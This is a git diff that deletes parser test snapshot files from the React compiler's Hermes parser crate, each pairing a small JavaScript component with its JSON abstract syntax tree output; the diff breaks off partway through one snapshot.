--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@fbt-template-string-same-scope.js.snap
+++ /dev/null
@@ -1,556 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/fbt-template-string-same-scope.js
----
-Input:
-import fbt from "fbt";
-
-export function Component(props) {
-  let count = 0;
-  if (props.items) {
-    count = props.items.length;
-  }
-  return (
-    <View>
-      {fbt(
-        `for ${fbt.param("count", count)} experiences`,
-        `Label for the number of items`,
-        { project: "public" }
-      )}
-    </View>
-  );
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "ImportDeclaration",
-      "specifiers": [
-        {
-          "type": "ImportDefaultSpecifier",
-          "local": {
-            "type": "Identifier",
-            "name": "fbt",
-            "typeAnnotation": null,
-            "loc": null,
-            "range": [
-              7,
-              10
-            ]
-          },
-          "loc": null,
-          "range": [
-            7,
-            10
-          ]
-        }
-      ],
-      "source": {
-        "type": "StringLiteral",
-        "value": "fbt",
-        "loc": null,
-        "range": [
-          16,
-          21
-        ]
-      },
-      "loc": null,
-      "range": [
-        0,
-        22
-      ]
-    },
-    {
-      "type": "ExportNamedDeclaration",
-      "declaration": {
-        "type": "FunctionDeclaration",
-        "id": {
-          "type": "Identifier",
-          "name": "Component",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            40,
-            49
-          ]
-        },
-        "params": [
-          {
-            "type": "Identifier",
-            "name": "props",
-            "typeAnnotation": null,
-            "loc": null,
-            "range": [
-              50,
-              55
-            ]
-          }
-        ],
-        "body": {
-          "type": "BlockStatement",
-          "body": [
-            {
-              "type": "VariableDeclaration",
-              "kind": "let",
-              "declarations": [
-                {
-                  "type": "VariableDeclarator",
-                  "id": {
-                    "type": "Identifier",
-                    "name": "count",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      65,
-                      70
-                    ]
-                  },
-                  "init": {
-                    "type": "NumericLiteral",
-                    "value": 0.0,
-                    "loc": null,
-                    "range": [
-                      73,
-                      74
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    65,
-                    74
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                61,
-                75
-              ]
-            },
-            {
-              "type": "IfStatement",
-              "test": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "props",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    82,
-                    87
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "items",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    88,
-                    93
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  82,
-                  93
-                ]
-              },
-              "consequent": {
-                "type": "BlockStatement",
-                "body": [
-                  {
-                    "type": "ExpressionStatement",
-                    "expression": {
-                      "type": "AssignmentExpression",
-                      "operator": "=",
-                      "left": {
-                        "type": "Identifier",
-                        "name": "count",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          101,
-                          106
-                        ]
-                      },
-                      "right": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "Identifier",
-                            "name": "props",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              109,
-                              114
-                            ]
-                          },
-                          "property": {
-                            "type": "Identifier",
-                            "name": "items",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              115,
-                              120
-                            ]
-                          },
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            109,
-                            120
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "length",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            121,
-                            127
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          109,
-                          127
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        101,
-                        127
-                      ]
-                    },
-                    "directive": null,
-                    "loc": null,
-                    "range": [
-                      101,
-                      128
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  95,
-                  132
-                ]
-              },
-              "alternate": null,
-              "loc": null,
-              "range": [
-                78,
-                132
-              ]
-            },
-            {
-              "type": "ReturnStatement",
-              "argument": {
-                "type": "JSXElement",
-                "openingElement": {
-                  "type": "JSXOpeningElement",
-                  "name": {
-                    "type": "JSXIdentifier",
-                    "name": "View",
-                    "loc": null,
-                    "range": [
-                      149,
-                      153
-                    ]
-                  },
-                  "attributes": [],
-                  "selfClosing": false,
-                  "loc": null,
-                  "range": [
-                    148,
-                    154
-                  ]
-                },
-                "children": [
-                  {
-                    "type": "JSXText",
-                    "value": "\n      ",
-                    "raw": "\n      ",
-                    "loc": null,
-                    "range": [
-                      154,
-                      161
-                    ]
-                  },
-                  {
-                    "type": "JSXExpressionContainer",
-                    "expression": {
-                      "type": "CallExpression",
-                      "callee": {
-                        "type": "Identifier",
-                        "name": "fbt",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          162,
-                          165
-                        ]
-                      },
-                      "arguments": [
-                        {
-                          "type": "TemplateLiteral",
-                          "quasis": [
-                            {
-                              "type": "TemplateElement",
-                              "tail": false,
-                              "value": {
-                                "cooked": "for ",
-                                "raw": "for "
-                              },
-                              "loc": null,
-                              "range": [
-                                175,
-                                182
-                              ]
-                            },
-                            {
-                              "type": "TemplateElement",
-                              "tail": true,
-                              "value": {
-                                "cooked": " experiences",
-                                "raw": " experiences"
-                              },
-                              "loc": null,
-                              "range": [
-                                207,
-                                221
-                              ]
-                            }
-                          ],
-                          "expressions": [
-                            {
-                              "type": "CallExpression",
-                              "callee": {
-                                "type": "MemberExpression",
-                                "object": {
-                                  "type": "Identifier",
-                                  "name": "fbt",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    182,
-                                    185
-                                  ]
-                                },
-                                "property": {
-                                  "type": "Identifier",
-                                  "name": "param",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    186,
-                                    191
-                                  ]
-                                },
-                                "computed": false,
-                                "loc": null,
-                                "range": [
-                                  182,
-                                  191
-                                ]
-                              },
-                              "arguments": [
-                                {
-                                  "type": "StringLiteral",
-                                  "value": "count",
-                                  "loc": null,
-                                  "range": [
-                                    192,
-                                    199
-                                  ]
-                                },
-                                {
-                                  "type": "Identifier",
-                                  "name": "count",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    201,
-                                    206
-                                  ]
-                                }
-                              ],
-                              "loc": null,
-                              "range": [
-                                182,
-                                207
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            175,
-                            221
-                          ]
-                        },
-                        {
-                          "type": "TemplateLiteral",
-                          "quasis": [
-                            {
-                              "type": "TemplateElement",
-                              "tail": true,
-                              "value": {
-                                "cooked": "Label for the number of items",
-                                "raw": "Label for the number of items"
-                              },
-                              "loc": null,
-                              "range": [
-                                231,
-                                262
-                              ]
-                            }
-                          ],
-                          "expressions": [],
-                          "loc": null,
-                          "range": [
-                            231,
-                            262
-                          ]
-                        },
-                        {
-                          "type": "ObjectExpression",
-                          "properties": [
-                            {
-                              "type": "Property",
-                              "key": {
-                                "type": "Identifier",
-                                "name": "project",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  274,
-                                  281
-                                ]
-                              },
-                              "value": {
-                                "type": "StringLiteral",
-                                "value": "public",
-                                "loc": null,
-                                "range": [
-                                  283,
-                                  291
-                                ]
-                              },
-                              "kind": "init",
-                              "method": false,
-                              "shorthand": false,
-                              "computed": false,
-                              "loc": null,
-                              "range": [
-                                274,
-                                291
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            272,
-                            293
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        162,
-                        301
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      161,
-                      302
-                    ]
-                  },
-                  {
-                    "type": "JSXText",
-                    "value": "\n    ",
-                    "raw": "\n    ",
-                    "loc": null,
-                    "range": [
-                      302,
-                      307
-                    ]
-                  }
-                ],
-                "closingElement": {
-                  "type": "JSXClosingElement",
-                  "name": {
-                    "type": "JSXIdentifier",
-                    "name": "View",
-                    "loc": null,
-                    "range": [
-                      309,
-                      313
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    307,
-                    314
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  148,
-                  314
-                ]
-              },
-              "loc": null,
-              "range": [
-                135,
-                319
-              ]
-            }
-          ],
-          "loc": null,
-          "range": [
-            57,
-            321
-          ]
-        },
-        "generator": false,
-        "async": false,
-        "loc": null,
-        "range": [
-          31,
-          321
-        ],
-        "loc": null,
-        "range": [
-          31,
-          321
-        ]
-      },
-      "specifiers": [],
-      "source": null,
-      "loc": null,
-      "range": [
-        24,
-        321
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    321
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@for-empty-update-with-continue.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@for-empty-update-with-continue.js.snap
deleted file mode 100644
index f3e4c2f6c7da..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@for-empty-update-with-continue.js.snap
+++ /dev/null
@@ -1,321 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/for-empty-update-with-continue.js
----
-Input:
-function Component(props) {
-  let x = 0;
-  for (let i = 0; i < props.count; ) {
-    x += i;
-    i += 1;
-    continue;
-  }
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    34,
-                    35
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 0.0,
-                  "loc": null,
-                  "range": [
-                    38,
-                    39
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  34,
-                  39
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              40
-            ]
-          },
-          {
-            "type": "ForStatement",
-            "init": {
-              "type": "VariableDeclaration",
-              "kind": "let",
-              "declarations": [
-                {
-                  "type": "VariableDeclarator",
-                  "id": {
-                    "type": "Identifier",
-                    "name": "i",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      52,
-                      53
-                    ]
-                  },
-                  "init": {
-                    "type": "NumericLiteral",
-                    "value": 0.0,
-                    "loc": null,
-                    "range": [
-                      56,
-                      57
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    52,
-                    57
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                48,
-                57
-              ]
-            },
-            "test": {
-              "type": "BinaryExpression",
-              "left": {
-                "type": "Identifier",
-                "name": "i",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  59,
-                  60
-                ]
-              },
-              "operator": "<",
-              "right": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "props",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    63,
-                    68
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "count",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    69,
-                    74
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  63,
-                  74
-                ]
-              },
-              "loc": null,
-              "range": [
-                59,
-                74
-              ]
-            },
-            "update": null,
-            "body": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "+=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        84,
-                        85
-                      ]
-                    },
-                    "right": {
-                      "type": "Identifier",
-                      "name": "i",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        89,
-                        90
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      84,
-                      90
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    84,
-                    91
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "+=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "i",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        96,
-                        97
-                      ]
-                    },
-                    "right": {
-                      "type": "NumericLiteral",
-                      "value": 1.0,
-                      "loc": null,
-                      "range": [
-                        101,
-                        102
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      96,
-                      102
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    96,
-                    103
-                  ]
-                },
-                {
-                  "type": "ContinueStatement",
-                  "label": null,
-                  "loc": null,
-                  "range": [
-                    108,
-                    117
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                78,
-                121
-              ]
-            },
-            "loc": null,
-            "range": [
-              43,
-              121
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                131,
-                132
-              ]
-            },
-            "loc": null,
-            "range": [
-              124,
-              133
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          135
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        135
-      ],
-      "loc": null,
-      "range": [
-        0,
-        135
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    135
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@for-empty-update.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@for-empty-update.js.snap
deleted file mode 100644
index 860ad9e2c38e..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@for-empty-update.js.snap
+++ /dev/null
@@ -1,332 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/for-empty-update.js
----
-Input:
-function Component(props) {
-  let x = 0;
-  for (let i = 0; i < props.count; ) {
-    x += i;
-    if (x > 10) {
-      break;
-    }
-  }
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    34,
-                    35
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 0.0,
-                  "loc": null,
-                  "range": [
-                    38,
-                    39
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  34,
-                  39
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              40
-            ]
-          },
-          {
-            "type": "ForStatement",
-            "init": {
-              "type": "VariableDeclaration",
-              "kind": "let",
-              "declarations": [
-                {
-                  "type": "VariableDeclarator",
-                  "id": {
-                    "type": "Identifier",
-                    "name": "i",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      52,
-                      53
-                    ]
-                  },
-                  "init": {
-                    "type": "NumericLiteral",
-                    "value": 0.0,
-                    "loc": null,
-                    "range": [
-                      56,
-                      57
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    52,
-                    57
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                48,
-                57
-              ]
-            },
-            "test": {
-              "type": "BinaryExpression",
-              "left": {
-                "type": "Identifier",
-                "name": "i",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  59,
-                  60
-                ]
-              },
-              "operator": "<",
-              "right": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "props",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    63,
-                    68
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "count",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    69,
-                    74
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  63,
-                  74
-                ]
-              },
-              "loc": null,
-              "range": [
-                59,
-                74
-              ]
-            },
-            "update": null,
-            "body": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "+=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        84,
-                        85
-                      ]
-                    },
-                    "right": {
-                      "type": "Identifier",
-                      "name": "i",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        89,
-                        90
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      84,
-                      90
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    84,
-                    91
-                  ]
-                },
-                {
-                  "type": "IfStatement",
-                  "test": {
-                    "type": "BinaryExpression",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        100,
-                        101
-                      ]
-                    },
-                    "operator": ">",
-                    "right": {
-                      "type": "NumericLiteral",
-                      "value": 10.0,
-                      "loc": null,
-                      "range": [
-                        104,
-                        106
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      100,
-                      106
-                    ]
-                  },
-                  "consequent": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "BreakStatement",
-                        "label": null,
-                        "loc": null,
-                        "range": [
-                          116,
-                          122
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      108,
-                      128
-                    ]
-                  },
-                  "alternate": null,
-                  "loc": null,
-                  "range": [
-                    96,
-                    128
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                78,
-                132
-              ]
-            },
-            "loc": null,
-            "range": [
-              43,
-              132
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                142,
-                143
-              ]
-            },
-            "loc": null,
-            "range": [
-              135,
-              144
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          146
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        146
-      ],
-      "loc": null,
-      "range": [
-        0,
-        146
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    146
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@for-logical.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@for-logical.js.snap
deleted file mode 100644
index 7783dc8d4f26..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@for-logical.js.snap
+++ /dev/null
@@ -1,465 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/for-logical.js
----
-Input:
-function foo(props) {
-  let y = 0;
-  for (
-    let x = 0;
-    x > props.min && x < props.max;
-    x += props.cond ? props.increment : 2
-  ) {
-    x *= 2;
-    y += x;
-  }
-  return y;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            18
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    28,
-                    29
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 0.0,
-                  "loc": null,
-                  "range": [
-                    32,
-                    33
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  28,
-                  33
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              24,
-              34
-            ]
-          },
-          {
-            "type": "ForStatement",
-            "init": {
-              "type": "VariableDeclaration",
-              "kind": "let",
-              "declarations": [
-                {
-                  "type": "VariableDeclarator",
-                  "id": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      51,
-                      52
-                    ]
-                  },
-                  "init": {
-                    "type": "NumericLiteral",
-                    "value": 0.0,
-                    "loc": null,
-                    "range": [
-                      55,
-                      56
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    51,
-                    56
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                47,
-                56
-              ]
-            },
-            "test": {
-              "type": "LogicalExpression",
-              "operator": "&&",
-              "left": {
-                "type": "BinaryExpression",
-                "left": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    62,
-                    63
-                  ]
-                },
-                "operator": ">",
-                "right": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      66,
-                      71
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "min",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      72,
-                      75
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    66,
-                    75
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  62,
-                  75
-                ]
-              },
-              "right": {
-                "type": "BinaryExpression",
-                "left": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    79,
-                    80
-                  ]
-                },
-                "operator": "<",
-                "right": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      83,
-                      88
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "max",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      89,
-                      92
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    83,
-                    92
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  79,
-                  92
-                ]
-              },
-              "loc": null,
-              "range": [
-                62,
-                92
-              ]
-            },
-            "update": {
-              "type": "AssignmentExpression",
-              "operator": "+=",
-              "left": {
-                "type": "Identifier",
-                "name": "x",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  98,
-                  99
-                ]
-              },
-              "right": {
-                "type": "ConditionalExpression",
-                "test": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      103,
-                      108
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "cond",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      109,
-                      113
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    103,
-                    113
-                  ]
-                },
-                "alternate": {
-                  "type": "NumericLiteral",
-                  "value": 2.0,
-                  "loc": null,
-                  "range": [
-                    134,
-                    135
-                  ]
-                },
-                "consequent": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      116,
-                      121
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "increment",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      122,
-                      131
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    116,
-                    131
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  103,
-                  135
-                ]
-              },
-              "loc": null,
-              "range": [
-                98,
-                135
-              ]
-            },
-            "body": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "*=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        146,
-                        147
-                      ]
-                    },
-                    "right": {
-                      "type": "NumericLiteral",
-                      "value": 2.0,
-                      "loc": null,
-                      "range": [
-                        151,
-                        152
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      146,
-                      152
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    146,
-                    153
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "+=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "y",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        158,
-                        159
-                      ]
-                    },
-                    "right": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        163,
-                        164
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      158,
-                      164
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    158,
-                    165
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                140,
-                169
-              ]
-            },
-            "loc": null,
-            "range": [
-              37,
-              169
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "y",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                179,
-                180
-              ]
-            },
-            "loc": null,
-            "range": [
-              172,
-              181
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          20,
-          183
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        183
-      ],
-      "loc": null,
-      "range": [
-        0,
-        183
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    183
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@for-of-break.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@for-of-break.js.snap
deleted file mode 100644
index b5e1feba0e78..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@for-of-break.js.snap
+++ /dev/null
@@ -1,205 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/for-of-break.js
----
-Input:
-function Component() {
-  const x = [];
-  for (const item of [1, 2]) {
-    break;
-  }
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    31,
-                    32
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    35,
-                    37
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  31,
-                  37
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              25,
-              38
-            ]
-          },
-          {
-            "type": "ForOfStatement",
-            "await": false,
-            "left": {
-              "type": "VariableDeclaration",
-              "kind": "const",
-              "declarations": [
-                {
-                  "type": "VariableDeclarator",
-                  "id": {
-                    "type": "Identifier",
-                    "name": "item",
-                    "typeAnnotation": null,
-                    "loc": null,
